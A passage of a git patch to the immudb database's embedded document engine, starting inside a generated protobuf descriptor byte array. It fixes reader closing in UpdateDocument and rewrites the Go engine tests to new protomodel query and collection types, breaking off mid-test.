0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, 0x69, - 0x65, 0x72, 0x1a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, - 0x10, 0x0a, 0x0e, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, - 0x00, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, - 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, - 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x6d, 0x6f, 0x64, - 0x65, 0x6c, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, 0x11, 0x2f, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, + 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x42, + 0xb0, 0x01, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, + 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x6d, 0x6f, + 0x64, 0x65, 0x6c, 0x92, 0x41, 0x7c, 0x12, 0x2a, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x14, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x20, 0x53, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, + 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x33, 0x0a, 0x31, 0x0a, + 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x23, 0x08, 0x02, 0x12, + 0x12, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, + 0x69, 0x65, 0x72, 0x1a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, + 0x62, 0x10, 0x0a, 0x0e, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, + 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( From 48c77b82a26756312b22fca8cb44c198ff32141a Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 4 May 2023 10:56:52 -0300 Subject: [PATCH 0497/1062] fix(embedded/document): close readers before updating document Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 4 +- embedded/document/engine_test.go | 1372 +++++++++++++++--------------- 2 files changed, 684 insertions(+), 692 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 2c8e4f0be6..caf6e7b397 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -608,13 +608,15 @@ func (e *Engine) UpdateDocument(ctx context.Context, collectionName string, quer if err != nil { return 0, nil, 0, mayTranslateError(err) } - defer r.Close() row, err := r.Read(ctx) if err != nil { + r.Close() return 0, nil, 0, mayTranslateError(err) } + r.Close() + val := row.ValuesByPosition[0].RawValue().([]byte) docID, err = NewDocumentIDFromRawBytes(val) if err != nil { diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index eab5d99309..678f7aa2cf 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -45,6 +45,48 @@ func makeEngine(t *testing.T) *Engine { return engine } +func TestCreateCollection(t *testing.T) { + engine := makeEngine(t) + + collectionName := "mycollection" + + err := engine.CreateCollection( + context.Background(), + collectionName, + "", + []*protomodel.Field{ + {Name: "number", Type: protomodel.FieldType_DOUBLE}, + {Name: "name", Type: protomodel.FieldType_STRING}, + {Name: "pin", Type: protomodel.FieldType_INTEGER}, + {Name: "country", Type: protomodel.FieldType_STRING}, + }, + []*protomodel.Index{ + {Fields: []string{"number"}}, + {Fields: []string{"name"}}, + {Fields: []string{"pin"}}, + {Fields: []string{"country"}}, + }, + ) + require.NoError(t, err) + + // creating collection with the same name should throw error + err = engine.CreateCollection( + context.Background(), + collectionName, + "", + nil, + nil, + ) + require.ErrorIs(t, err, ErrCollectionAlreadyExists) + + // get collection + collection, err := engine.GetCollection(context.Background(), collectionName) + require.NoError(t, err) + require.Equal(t, collectionName, collection.Name) + require.Len(t, collection.Fields, 5) + require.Len(t, collection.Indexes, 5) +} + func TestListCollections(t *testing.T) { engine := makeEngine(t) @@ -76,170 +118,125 @@ func TestListCollections(t *testing.T) { require.Equal(t, len(collections), len(collectionList)) } -/* -func TestCreateCollection(t *testing.T) { +func TestGetDocument(t *testing.T) { + ctx := context.Background() engine := makeEngine(t) collectionName := "mycollection" + err := engine.CreateCollection( context.Background(), collectionName, - map[string]*IndexOption{ - "number": {Type: sql.Float64Type}, - "name": {Type: sql.VarcharType}, - "pin": {Type: sql.IntegerType}, - "country": {Type: sql.VarcharType}, + "", + []*protomodel.Field{ + {Name: "country", Type: protomodel.FieldType_STRING}, + {Name: "pincode", Type: protomodel.FieldType_INTEGER}, + }, + []*protomodel.Index{ + {Fields: []string{"country"}}, + {Fields: []string{"pincode"}}, }, ) require.NoError(t, err) - // creating collection with the same name should throw error - err = engine.CreateCollection( - context.Background(), - collectionName, - nil, - ) - require.ErrorIs(t, err, sql.ErrTableAlreadyExists) - - catalog, err := engine.sqlEngine.Catalog(context.Background(), nil) - require.NoError(t, err) - - table, err := catalog.GetTableByName(collectionName) - require.NoError(t, err) - - require.Equal(t, collectionName, table.Name()) - - pcols := []string{"_id"} - idxcols := []string{"pin", "country", "number", "name"} - - // verify primary keys - for _, col := range pcols { - c, err := table.GetColumnByName(col) - require.NoError(t, err) - require.Equal(t, c.Name(), col) - } - - // verify index keys - for _, col := range idxcols { - c, err := table.GetColumnByName(col) - require.NoError(t, err) - require.Equal(t, c.Name(), col) - } - - // get collection - indexes, err := engine.GetCollection(context.Background(), collectionName) - require.NoError(t, err) - require.Equal(t, 5, len(indexes)) - - primaryKeyCount := 0 - indexKeyCount := 0 - for _, idx := range indexes { - // check if primary key - if idx.IsPrimary() { - primaryKeyCount += len(idx.Cols()) - } else { - indexKeyCount += len(idx.Cols()) - } - } - require.Equal(t, 1, primaryKeyCount) - require.Equal(t, 4, indexKeyCount) -} - -func TestGetDocument(t *testing.T) { - ctx := context.Background() - engine := makeEngine(t) - // create collection - collectionName := "mycollection" - err := engine.CreateCollection(context.Background(), collectionName, map[string]*IndexOption{ - "pincode": {Type: sql.IntegerType}, - "country": {Type: sql.VarcharType}, - "data": {Type: sql.BLOBType}, - }) - require.NoError(t, err) - // add document to collection - _, _, err = engine.InsertDocument(context.Background(), collectionName, &structpb.Struct{ + _, docID, err := engine.InsertDocument(context.Background(), collectionName, &structpb.Struct{ Fields: map[string]*structpb.Value{ - "pincode": { - Kind: &structpb.Value_NumberValue{NumberValue: 2}, - }, "country": { Kind: &structpb.Value_StringValue{StringValue: "wonderland"}, }, - "data": { - Kind: &structpb.Value_StructValue{StructValue: &structpb.Struct{ - Fields: map[string]*structpb.Value{ - "key1": {Kind: &structpb.Value_StringValue{StringValue: "value1"}}, - }, - }}, + "pincode": { + Kind: &structpb.Value_NumberValue{NumberValue: 2}, }, }, }) require.NoError(t, err) - expressions := []*Query{ - { - Field: "country", - Operator: 0, // EQ - Value: &structpb.Value{ - Kind: &structpb.Value_StringValue{StringValue: "wonderland"}, - }, - }, - { - Field: "pincode", - Operator: 0, // EQ - Value: &structpb.Value{ - Kind: &structpb.Value_NumberValue{NumberValue: 2}, + query := &protomodel.Query{ + Expressions: []*protomodel.QueryExpression{ + { + FieldComparisons: []*protomodel.FieldComparison{ + { + Field: "country", + Operator: protomodel.ComparisonOperator_EQ, + Value: &structpb.Value{ + Kind: &structpb.Value_StringValue{StringValue: "wonderland"}, + }, + }, + { + Field: "pincode", + Operator: protomodel.ComparisonOperator_EQ, + Value: &structpb.Value{ + Kind: &structpb.Value_NumberValue{NumberValue: 2}, + }, + }, + }, }, }, } - reader, err := engine.GetDocuments(ctx, collectionName, expressions, 0) + reader, err := engine.GetDocuments(ctx, collectionName, query, 0) require.NoError(t, err) defer reader.Close() - docs, err := reader.Read(ctx, 1) + + doc, err := reader.Read(ctx) require.NoError(t, err) + require.EqualValues(t, docID.EncodeToHexString(), doc.Document.Fields[DefaultDocumentIDField].GetStringValue()) - require.Equal(t, 1, len(docs)) + _, err = reader.Read(ctx) + require.ErrorIs(t, err, ErrNoMoreDocuments) } func TestDocumentAudit(t *testing.T) { engine := makeEngine(t) - // create collection collectionName := "mycollection" - err := engine.CreateCollection(context.Background(), collectionName, map[string]*IndexOption{ - "pincode": {Type: sql.IntegerType}, - "country": {Type: sql.VarcharType}, - }) + + err := engine.CreateCollection( + context.Background(), + collectionName, + "", + []*protomodel.Field{ + {Name: "country", Type: protomodel.FieldType_STRING}, + {Name: "pincode", Type: protomodel.FieldType_INTEGER}, + }, + []*protomodel.Index{ + {Fields: []string{"country"}}, + {Fields: []string{"pincode"}}, + }, + ) require.NoError(t, err) // add document to collection - docID, _, err := engine.InsertDocument(context.Background(), collectionName, &structpb.Struct{ + _, docID, err := engine.InsertDocument(context.Background(), collectionName, &structpb.Struct{ Fields: map[string]*structpb.Value{ - "pincode": { - Kind: &structpb.Value_NumberValue{NumberValue: 2}, - }, "country": { Kind: &structpb.Value_StringValue{StringValue: "wonderland"}, }, - "data": { - Kind: &structpb.Value_StructValue{StructValue: &structpb.Struct{ - Fields: map[string]*structpb.Value{ - "key1": {Kind: &structpb.Value_StringValue{StringValue: "value1"}}, - }, - }}, + "pincode": { + Kind: &structpb.Value_NumberValue{NumberValue: 2}, }, }, }) require.NoError(t, err) - // Prepare a query to find the document - queries := []*Query{newQuery("country", sql.EQ, &structpb.Value{ - Kind: &structpb.Value_StringValue{StringValue: "wonderland"}, - })} + query := &protomodel.Query{ + Expressions: []*protomodel.QueryExpression{ + { + FieldComparisons: []*protomodel.FieldComparison{ + { + Field: "country", + Operator: protomodel.ComparisonOperator_EQ, + Value: &structpb.Value{ + Kind: &structpb.Value_StringValue{StringValue: "wonderland"}, + }, + }, + }, + }, + }, + } - _, revision, err := engine.UpdateDocument(context.Background(), collectionName, queries, &structpb.Struct{ + _, _, revision, err := engine.UpdateDocument(context.Background(), collectionName, query, &structpb.Struct{ Fields: map[string]*structpb.Value{ "_id": { Kind: &structpb.Value_StringValue{StringValue: docID.EncodeToHexString()}, @@ -250,13 +247,6 @@ func TestDocumentAudit(t *testing.T) { "country": { Kind: &structpb.Value_StringValue{StringValue: "wonderland"}, }, - "data": { - Kind: &structpb.Value_StructValue{StructValue: &structpb.Struct{ - Fields: map[string]*structpb.Value{ - "key1": {Kind: &structpb.Value_StringValue{StringValue: "value2"}}, - }, - }}, - }, }, }) require.NoError(t, err) @@ -268,674 +258,613 @@ func TestDocumentAudit(t *testing.T) { require.Equal(t, 2, len(res)) for i, docAudit := range res { - require.Contains(t, docAudit.Document.Fields, DocumentIDField) + require.Contains(t, docAudit.Document.Fields, DefaultDocumentIDField) require.Contains(t, docAudit.Document.Fields, "pincode") require.Contains(t, docAudit.Document.Fields, "country") require.Equal(t, uint64(i+1), docAudit.Revision) } } -func TestQueryDocuments(t *testing.T) { - ctx := context.Background() - engine := makeEngine(t) - - // create collection - collectionName := "mycollection" - err := engine.CreateCollection(context.Background(), collectionName, map[string]*IndexOption{ - "pincode": {Type: sql.IntegerType}, - "country": {Type: sql.VarcharType}, - "idx": {Type: sql.IntegerType}, - }) - require.NoError(t, err) - - // add documents to collection - for i := 1.0; i <= 10; i++ { - _, _, err = engine.InsertDocument(context.Background(), collectionName, &structpb.Struct{ - Fields: map[string]*structpb.Value{ - "pincode": { - Kind: &structpb.Value_NumberValue{NumberValue: i}, - }, - "country": { - Kind: &structpb.Value_StringValue{StringValue: fmt.Sprintf("country-%d", int(i))}, - }, - "idx": { - Kind: &structpb.Value_NumberValue{NumberValue: i}, - }, - }, +/* + func TestQueryDocuments(t *testing.T) { + ctx := context.Background() + engine := makeEngine(t) + + // create collection + collectionName := "mycollection" + err := engine.CreateCollection(context.Background(), collectionName, map[string]*IndexOption{ + "pincode": {Type: sql.IntegerType}, + "country": {Type: sql.VarcharType}, + "idx": {Type: sql.IntegerType}, }) require.NoError(t, err) - } - t.Run("test query with != operator", func(t *testing.T) { - expressions := []*Query{ - { - Field: "pincode", - Operator: sql.NE, - Value: &structpb.Value{ - Kind: &structpb.Value_NumberValue{NumberValue: 5}, + // add documents to collection + for i := 1.0; i <= 10; i++ { + _, _, err = engine.InsertDocument(context.Background(), collectionName, &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "pincode": { + Kind: &structpb.Value_NumberValue{NumberValue: i}, + }, + "country": { + Kind: &structpb.Value_StringValue{StringValue: fmt.Sprintf("country-%d", int(i))}, + }, + "idx": { + Kind: &structpb.Value_NumberValue{NumberValue: i}, + }, }, - }, + }) + require.NoError(t, err) } - reader, err := engine.GetDocuments(ctx, collectionName, expressions, 0) - require.NoError(t, err) - defer reader.Close() - docs, err := reader.Read(ctx, 20) - require.ErrorIs(t, err, ErrNoMoreDocuments) - require.Equal(t, 9, len(docs)) - }) + t.Run("test query with != operator", func(t *testing.T) { + expressions := []*Query{ + { + Field: "pincode", + Operator: sql.NE, + Value: &structpb.Value{ + Kind: &structpb.Value_NumberValue{NumberValue: 5}, + }, + }, + } - t.Run("test query with < operator", func(t *testing.T) { - expressions := []*Query{ - { - Field: "pincode", - Operator: sql.LT, - Value: &structpb.Value{ - Kind: &structpb.Value_NumberValue{NumberValue: 11}, + reader, err := engine.GetDocuments(ctx, collectionName, expressions, 0) + require.NoError(t, err) + defer reader.Close() + docs, err := reader.Read(ctx, 20) + require.ErrorIs(t, err, ErrNoMoreDocuments) + require.Equal(t, 9, len(docs)) + }) + + t.Run("test query with < operator", func(t *testing.T) { + expressions := []*Query{ + { + Field: "pincode", + Operator: sql.LT, + Value: &structpb.Value{ + Kind: &structpb.Value_NumberValue{NumberValue: 11}, + }, }, - }, - } + } - reader, err := engine.GetDocuments(ctx, collectionName, expressions, 0) - require.NoError(t, err) - defer reader.Close() - docs, err := reader.Read(ctx, 20) - require.ErrorIs(t, err, ErrNoMoreDocuments) - require.Equal(t, 10, len(docs)) - }) + reader, err := engine.GetDocuments(ctx, collectionName, expressions, 0) + require.NoError(t, err) + defer reader.Close() + docs, err := reader.Read(ctx, 20) + require.ErrorIs(t, err, ErrNoMoreDocuments) + require.Equal(t, 10, len(docs)) + }) - t.Run("test query with <= operator", func(t *testing.T) { - expressions := []*Query{ - { - Field: "pincode", - Operator: sql.LE, - Value: &structpb.Value{ - Kind: &structpb.Value_NumberValue{NumberValue: 9}, + t.Run("test query with <= operator", func(t *testing.T) { + expressions := []*Query{ + { + Field: "pincode", + Operator: sql.LE, + Value: &structpb.Value{ + Kind: &structpb.Value_NumberValue{NumberValue: 9}, + }, }, - }, - } + } - reader, err := engine.GetDocuments(ctx, collectionName, expressions, 0) - require.NoError(t, err) - defer reader.Close() - docs, err := reader.Read(ctx, 20) - require.ErrorIs(t, err, ErrNoMoreDocuments) - require.Equal(t, 9, len(docs)) - }) + reader, err := engine.GetDocuments(ctx, collectionName, expressions, 0) + require.NoError(t, err) + defer reader.Close() + docs, err := reader.Read(ctx, 20) + require.ErrorIs(t, err, ErrNoMoreDocuments) + require.Equal(t, 9, len(docs)) + }) - t.Run("test query with > operator", func(t *testing.T) { - expressions := []*Query{ - { - Field: "pincode", - Operator: sql.GT, - Value: &structpb.Value{ - Kind: &structpb.Value_NumberValue{NumberValue: 5}, + t.Run("test query with > operator", func(t *testing.T) { + expressions := []*Query{ + { + Field: "pincode", + Operator: sql.GT, + Value: &structpb.Value{ + Kind: &structpb.Value_NumberValue{NumberValue: 5}, + }, }, - }, - } - reader, err := engine.GetDocuments(ctx, collectionName, expressions, 0) - require.NoError(t, err) - defer reader.Close() - docs, err := reader.Read(ctx, 20) - require.ErrorIs(t, err, ErrNoMoreDocuments) - require.Equal(t, 5, len(docs)) - }) + } + reader, err := engine.GetDocuments(ctx, collectionName, expressions, 0) + require.NoError(t, err) + defer reader.Close() + docs, err := reader.Read(ctx, 20) + require.ErrorIs(t, err, ErrNoMoreDocuments) + require.Equal(t, 5, len(docs)) + }) - t.Run("test query with >= operator", func(t *testing.T) { - expressions := []*Query{ - { - Field: "pincode", - Operator: sql.GE, - Value: &structpb.Value{ - Kind: &structpb.Value_NumberValue{NumberValue: 10}, + t.Run("test query with >= operator", func(t *testing.T) { + expressions := []*Query{ + { + Field: "pincode", + Operator: sql.GE, + Value: &structpb.Value{ + Kind: &structpb.Value_NumberValue{NumberValue: 10}, + }, }, - }, - } + } - reader, err := engine.GetDocuments(ctx, collectionName, expressions, 0) - require.NoError(t, err) - defer reader.Close() - docs, err := reader.Read(ctx, 20) - require.ErrorIs(t, err, ErrNoMoreDocuments) - require.Equal(t, 1, len(docs)) - }) + reader, err := engine.GetDocuments(ctx, collectionName, expressions, 0) + require.NoError(t, err) + defer reader.Close() + docs, err := reader.Read(ctx, 20) + require.ErrorIs(t, err, ErrNoMoreDocuments) + require.Equal(t, 1, len(docs)) + }) - t.Run("test group query with != operator", func(t *testing.T) { - expressions := []*Query{ - { - Field: "pincode", - Operator: sql.NE, - Value: &structpb.Value{ - Kind: &structpb.Value_NumberValue{NumberValue: 5}, + t.Run("test group query with != operator", func(t *testing.T) { + expressions := []*Query{ + { + Field: "pincode", + Operator: sql.NE, + Value: &structpb.Value{ + Kind: &structpb.Value_NumberValue{NumberValue: 5}, + }, }, - }, - { - Field: "country", - Operator: sql.NE, - Value: &structpb.Value{ - Kind: &structpb.Value_StringValue{StringValue: "country-6"}, + { + Field: "country", + Operator: sql.NE, + Value: &structpb.Value{ + Kind: &structpb.Value_StringValue{StringValue: "country-6"}, + }, }, - }, - } + } - reader, err := engine.GetDocuments(ctx, collectionName, expressions, 0) - require.NoError(t, err) - defer reader.Close() - docs, err := reader.Read(ctx, 20) - require.ErrorIs(t, err, ErrNoMoreDocuments) - require.Equal(t, 8, len(docs)) - }) + reader, err := engine.GetDocuments(ctx, collectionName, expressions, 0) + require.NoError(t, err) + defer reader.Close() + docs, err := reader.Read(ctx, 20) + require.ErrorIs(t, err, ErrNoMoreDocuments) + require.Equal(t, 8, len(docs)) + }) - t.Run("test group query with < operator", func(t *testing.T) { - expressions := []*Query{ - { - Field: "pincode", - Operator: sql.LT, - Value: &structpb.Value{ - Kind: &structpb.Value_NumberValue{NumberValue: 11}, + t.Run("test group query with < operator", func(t *testing.T) { + expressions := []*Query{ + { + Field: "pincode", + Operator: sql.LT, + Value: &structpb.Value{ + Kind: &structpb.Value_NumberValue{NumberValue: 11}, + }, }, - }, - { - Field: "idx", - Operator: sql.LT, - Value: &structpb.Value{ - Kind: &structpb.Value_NumberValue{NumberValue: 5}, + { + Field: "idx", + Operator: sql.LT, + Value: &structpb.Value{ + Kind: &structpb.Value_NumberValue{NumberValue: 5}, + }, }, - }, - } + } - reader, err := engine.GetDocuments(ctx, collectionName, expressions, 0) - require.NoError(t, err) - defer reader.Close() - docs, err := reader.Read(ctx, 20) - require.ErrorIs(t, err, ErrNoMoreDocuments) - require.Equal(t, 4, len(docs)) - }) + reader, err := engine.GetDocuments(ctx, collectionName, expressions, 0) + require.NoError(t, err) + defer reader.Close() + docs, err := reader.Read(ctx, 20) + require.ErrorIs(t, err, ErrNoMoreDocuments) + require.Equal(t, 4, len(docs)) + }) - t.Run("test group query with > operator", func(t *testing.T) { - expressions := []*Query{ - { - Field: "idx", - Operator: sql.GT, - Value: &structpb.Value{ - Kind: &structpb.Value_NumberValue{NumberValue: 7}, + t.Run("test group query with > operator", func(t *testing.T) { + expressions := []*Query{ + { + Field: "idx", + Operator: sql.GT, + Value: &structpb.Value{ + Kind: &structpb.Value_NumberValue{NumberValue: 7}, + }, }, - }, - { - Field: "pincode", - Operator: sql.GT, - Value: &structpb.Value{ - Kind: &structpb.Value_NumberValue{NumberValue: 5}, + { + Field: "pincode", + Operator: sql.GT, + Value: &structpb.Value{ + Kind: &structpb.Value_NumberValue{NumberValue: 5}, + }, }, - }, - } + } - reader, err := engine.GetDocuments(ctx, collectionName, expressions, 0) - require.NoError(t, err) - defer reader.Close() - docs, err := reader.Read(ctx, 20) - require.ErrorIs(t, err, ErrNoMoreDocuments) - require.Equal(t, 3, len(docs)) - }) + reader, err := engine.GetDocuments(ctx, collectionName, expressions, 0) + require.NoError(t, err) + defer reader.Close() + docs, err := reader.Read(ctx, 20) + require.ErrorIs(t, err, ErrNoMoreDocuments) + require.Equal(t, 3, len(docs)) + }) } -func TestDocumentUpdate(t *testing.T) { - // Create a new engine instance - ctx := context.Background() - e := makeEngine(t) - - // create collection - // Create a test collection with a single document - collectionName := "test_collection" - err := e.CreateCollection(ctx, collectionName, map[string]*IndexOption{ - "name": {Type: sql.VarcharType}, - "age": {Type: sql.Float64Type}, - }) - require.NoError(t, err) - - doc := &structpb.Struct{ - Fields: map[string]*structpb.Value{ - "name": {Kind: &structpb.Value_StringValue{StringValue: "Alice"}}, - "age": {Kind: &structpb.Value_NumberValue{NumberValue: 30}}, - }, - } - - docID, _, _, err := e.upsertDocument(ctx, collectionName, doc, &upsertOptions{isInsert: true}) - if err != nil { - t.Fatalf("Failed to insert test document: %v", err) - } - - // Prepare a query to find the document by name - queries := []*Query{newQuery("name", sql.EQ, &structpb.Value{ - Kind: &structpb.Value_StringValue{StringValue: "Alice"}, - })} - - t.Run("update document should pass without docID", func(t *testing.T) { - // Prepare a document to update the age field - toUpdateDoc := &structpb.Struct{ - Fields: map[string]*structpb.Value{ - "name": {Kind: &structpb.Value_StringValue{StringValue: "Alice"}}, - "age": {Kind: &structpb.Value_NumberValue{NumberValue: 31}}, - }, - } - - // Call the UpdateDocument method - txID, rev, err := e.UpdateDocument(ctx, collectionName, queries, toUpdateDoc) - require.NoError(t, err) - // Check that the method returned the expected values - require.NotEqual(t, txID, 0) - require.NotEqual(t, rev, 0) - - // Verify that the document was updated - reader, err := e.GetDocuments(ctx, collectionName, queries, 0) - require.NoError(t, err) - defer reader.Close() - - updatedDocs, err := reader.Read(ctx, 1) + func TestDocumentUpdate(t *testing.T) { + // Create a new engine instance + ctx := context.Background() + e := makeEngine(t) + + // create collection + // Create a test collection with a single document + collectionName := "test_collection" + err := e.CreateCollection(ctx, collectionName, map[string]*IndexOption{ + "name": {Type: sql.VarcharType}, + "age": {Type: sql.Float64Type}, + }) require.NoError(t, err) - updatedDoc := updatedDocs[0] - if updatedDoc.Fields["age"].GetNumberValue() != 31 { - t.Errorf("Expected age to be updated to 31, got %v", updatedDoc.Fields["age"].GetNumberValue()) - } - - require.Equal(t, docID.EncodeToHexString(), updatedDoc.Fields[DocumentIDField].GetStringValue()) - - }) - - t.Run("update document should fail when no document is found", func(t *testing.T) { - toUpdateDoc := &structpb.Struct{ + doc := &structpb.Struct{ Fields: map[string]*structpb.Value{ "name": {Kind: &structpb.Value_StringValue{StringValue: "Alice"}}, - "age": {Kind: &structpb.Value_NumberValue{NumberValue: 31}}, + "age": {Kind: &structpb.Value_NumberValue{NumberValue: 30}}, }, } - // Test error case when no documents are found - queries = []*Query{newQuery("name", sql.EQ, &structpb.Value{ - Kind: &structpb.Value_StringValue{StringValue: "Bob"}, - })} - _, _, err = e.UpdateDocument(ctx, collectionName, queries, toUpdateDoc) - if !errors.Is(err, ErrDocumentNotFound) { - t.Errorf("Expected ErrDocumentNotFound, got %v", err) + docID, _, _, err := e.upsertDocument(ctx, collectionName, doc, &upsertOptions{isInsert: true}) + if err != nil { + t.Fatalf("Failed to insert test document: %v", err) } - }) - t.Run("update document should fail with a different docID", func(t *testing.T) { - toUpdateDoc := &structpb.Struct{ - Fields: map[string]*structpb.Value{ - "_id": {Kind: &structpb.Value_StringValue{StringValue: "123"}}, - "name": {Kind: &structpb.Value_StringValue{StringValue: "Alice"}}, - "age": {Kind: &structpb.Value_NumberValue{NumberValue: 34}}, - }, - } - queries = []*Query{newQuery("name", sql.EQ, &structpb.Value{ + // Prepare a query to find the document by name + queries := []*Query{newQuery("name", sql.EQ, &structpb.Value{ Kind: &structpb.Value_StringValue{StringValue: "Alice"}, })} - // Call the UpdateDocument method - _, _, err := e.UpdateDocument(ctx, collectionName, queries, toUpdateDoc) - require.ErrorIs(t, err, ErrDocumentIDMismatch) - }) -} - -func TestFloatSupport(t *testing.T) { - ctx := context.Background() - engine := makeEngine(t) - - collectionName := "mycollection" - err := engine.CreateCollection( - ctx, - collectionName, - map[string]*IndexOption{ - "number": {Type: sql.Float64Type}, - }, - ) - require.NoError(t, err) - - catalog, err := engine.sqlEngine.Catalog(ctx, nil) - require.NoError(t, err) - - table, err := catalog.GetTableByName(collectionName) - require.NoError(t, err) - require.Equal(t, collectionName, table.Name()) + t.Run("update document should pass without docID", func(t *testing.T) { + // Prepare a document to update the age field + toUpdateDoc := &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "name": {Kind: &structpb.Value_StringValue{StringValue: "Alice"}}, + "age": {Kind: &structpb.Value_NumberValue{NumberValue: 31}}, + }, + } - col, err := table.GetColumnByName("number") - require.NoError(t, err) - require.Equal(t, sql.Float64Type, col.Type()) + // Call the UpdateDocument method + txID, rev, err := e.UpdateDocument(ctx, collectionName, queries, toUpdateDoc) + require.NoError(t, err) + // Check that the method returned the expected values + require.NotEqual(t, txID, 0) + require.NotEqual(t, rev, 0) - // add document to collection - _, _, err = engine.InsertDocument(context.Background(), collectionName, &structpb.Struct{ - Fields: map[string]*structpb.Value{ - "number": { - Kind: &structpb.Value_NumberValue{NumberValue: 3.1}, - }, - }, - }) - require.NoError(t, err) + // Verify that the document was updated + reader, err := e.GetDocuments(ctx, collectionName, queries, 0) + require.NoError(t, err) + defer reader.Close() - // query document - expressions := []*Query{ - { - Field: "number", - Operator: sql.EQ, - Value: &structpb.Value{ - Kind: &structpb.Value_NumberValue{NumberValue: 3.1}, - }, - }, - } + updatedDocs, err := reader.Read(ctx, 1) + require.NoError(t, err) - // check if document is updated - reader, err := engine.GetDocuments(ctx, collectionName, expressions, 0) - require.NoError(t, err) - defer reader.Close() - docs, err := reader.Read(ctx, 1) - require.NoError(t, err) + updatedDoc := updatedDocs[0] + if updatedDoc.Fields["age"].GetNumberValue() != 31 { + t.Errorf("Expected age to be updated to 31, got %v", updatedDoc.Fields["age"].GetNumberValue()) + } - require.Equal(t, 1, len(docs)) + require.Equal(t, docID.EncodeToHexString(), updatedDoc.Fields[DocumentIDField].GetStringValue()) - // retrieve document - doc := docs[0] - require.Equal(t, 3.1, doc.Fields["number"].GetNumberValue()) -} + }) -func TestDeleteCollection(t *testing.T) { - engine := makeEngine(t) + t.Run("update document should fail when no document is found", func(t *testing.T) { + toUpdateDoc := &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "name": {Kind: &structpb.Value_StringValue{StringValue: "Alice"}}, + "age": {Kind: &structpb.Value_NumberValue{NumberValue: 31}}, + }, + } - // create collection - collectionName := "mycollection" - err := engine.CreateCollection(context.Background(), collectionName, map[string]*IndexOption{ - "idx": {Type: sql.IntegerType}, - }) - require.NoError(t, err) + // Test error case when no documents are found + queries = []*Query{newQuery("name", sql.EQ, &structpb.Value{ + Kind: &structpb.Value_StringValue{StringValue: "Bob"}, + })} + _, _, err = e.UpdateDocument(ctx, collectionName, queries, toUpdateDoc) + if !errors.Is(err, ErrDocumentNotFound) { + t.Errorf("Expected ErrDocumentNotFound, got %v", err) + } + }) - // add documents to collection - for i := 1.0; i <= 10; i++ { - _, _, err = engine.InsertDocument(context.Background(), collectionName, &structpb.Struct{ - Fields: map[string]*structpb.Value{ - "idx": { - Kind: &structpb.Value_NumberValue{NumberValue: i}, + t.Run("update document should fail with a different docID", func(t *testing.T) { + toUpdateDoc := &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "_id": {Kind: &structpb.Value_StringValue{StringValue: "123"}}, + "name": {Kind: &structpb.Value_StringValue{StringValue: "Alice"}}, + "age": {Kind: &structpb.Value_NumberValue{NumberValue: 34}}, }, - }, + } + queries = []*Query{newQuery("name", sql.EQ, &structpb.Value{ + Kind: &structpb.Value_StringValue{StringValue: "Alice"}, + })} + + // Call the UpdateDocument method + _, _, err := e.UpdateDocument(ctx, collectionName, queries, toUpdateDoc) + require.ErrorIs(t, err, ErrDocumentIDMismatch) }) - require.NoError(t, err) } - t.Run("delete collection and check if it is empty", func(t *testing.T) { - err = 